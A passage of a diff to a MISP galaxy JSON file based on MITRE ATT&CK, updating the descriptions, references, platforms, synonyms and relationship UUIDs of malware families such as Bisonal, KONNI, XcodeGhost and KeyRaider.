"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "03acae53-9b98-46f6-b204-16b930839055", - "value": "RCSession - S0662" - }, { "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)", "meta": { @@ -46100,111 +44676,31 @@ "uuid": "94d6d788-07bb-4dcc-b62f-e02626b00108", "value": "SodaMaster - S0627" }, - { - "description": "[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)", - "meta": { - "external_id": "S0672", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", - "https://attack.mitre.org/software/S0672" - ], - "synonyms": [ - "Zox", - "Gresim", - "ZoxRPC", - "ZoxPNG" - ] - }, - "related": [ - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "fb28627c-d6ea-4c35-b138-ab5e96ae5445", - "value": "Zox - S0672" - }, { "description": "OBAD is an Android malware family. (Citation: TrendMicro-Obad)", "meta": { "external_id": "S0286", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", "https://attack.mitre.org/software/S0286" + ], + "synonyms": [ + "OBAD" ] }, "related": [ { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -46264,62 +44760,7 @@ "value": "FYAnti - S0628" }, { - "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)", - "meta": { - "external_id": "S0682", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0682", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" - ], - "synonyms": [ - "TrailBlazer" - ] - }, - "related": [ - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "bdad6f3b-de88-42fa-9295-d29b5271808e", - "value": "TrailBlazer - S0682" - }, - { - "description": "[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)", "meta": { "external_id": "S0268", "mitre_platforms": [ @@ -46327,7 +44768,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0268", - "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" ], "synonyms": [ @@ -46349,20 +44789,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ @@ -46370,27 +44796,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -46398,20 +44803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -46419,34 +44810,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -46454,13 +44817,6 @@ ], "type": "uses" }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -46468,13 +44824,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", "tags": [ @@ -46489,13 +44838,6 @@ ], "type": "uses" }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -46510,20 +44852,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -46538,13 +44866,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -46572,6 +44893,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "65ffc206-d7c1-45b3-b543-f6b726e7840d", @@ -46977,18 +45305,38 @@ "description": "[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)", "meta": { "external_id": "S0287", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/", "https://attack.mitre.org/software/S0287" + ], + "synonyms": [ + "ZergHelper" ] }, "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0", @@ -47068,22 +45416,28 @@ "description": "[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)", "meta": { "external_id": "S0297", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/", "https://attack.mitre.org/software/S0297" + ], + "synonyms": [ + "XcodeGhost" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47229,14 +45583,27 @@ "description": "[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)", "meta": { "external_id": "S0288", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", "https://attack.mitre.org/software/S0288" + ], + "synonyms": [ + "KeyRaider" ] }, "related": [ { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47257,9 +45624,15 @@ "description": "[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)", "meta": { "external_id": "S0299", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0299", "https://blog.lookout.com/blog/2014/11/19/notcompatible/" + ], + "synonyms": [ + "NotCompatible" ] }, "related": [ @@ -49004,7 +47377,7 @@ "value": "Azorult - S0344" }, { - "description": "[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)", + "description": "[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) ", "meta": { "external_id": "S0435", "mitre_platforms": [ @@ -49035,13 +47408,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ @@ -49987,6 +48353,13 @@ ] }, "related": [ + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -49995,21 +48368,7 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50023,7 +48382,21 @@ "type": "uses" }, { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50043,13 +48416,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -50064,13 +48430,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -50085,6 +48444,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "tags": [ @@ -52191,21 +50557,21 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52218,6 +50584,20 @@ ], "type": "uses" }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -52226,14 +50606,14 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52247,7 +50627,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52267,13 +50647,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -52289,7 +50662,7 @@ "type": "uses" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52300,7 +50673,7 @@ "value": "GPlayed - S0536" }, { - "description": "[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)", "meta": { "external_id": "S0356", "mitre_platforms": [ @@ -52308,7 +50681,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0356", - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", @@ -52354,13 +50726,6 @@ ], "type": "uses" }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ @@ -52375,34 +50740,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", "tags": [ @@ -52417,20 +50754,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -52445,13 +50768,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ @@ -52487,20 +50803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -52508,20 +50810,6 @@ ], "type": "uses" }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -52536,13 +50824,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ @@ -52564,13 +50845,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -53000,13 +51274,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -53731,378 +51998,6 @@ "uuid": "96eca9b9-b37f-42f1-96dc-a2c441403194", "value": "VaporRage - S0636" }, - { - "description": "[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)", - "meta": { - "external_id": "S0663", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0663", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "SysUpdate", - "HyperSSL", - "Soldier", - "FOCUSFJORD" - ] - }, - "related": [ - { - "dest-uuid": 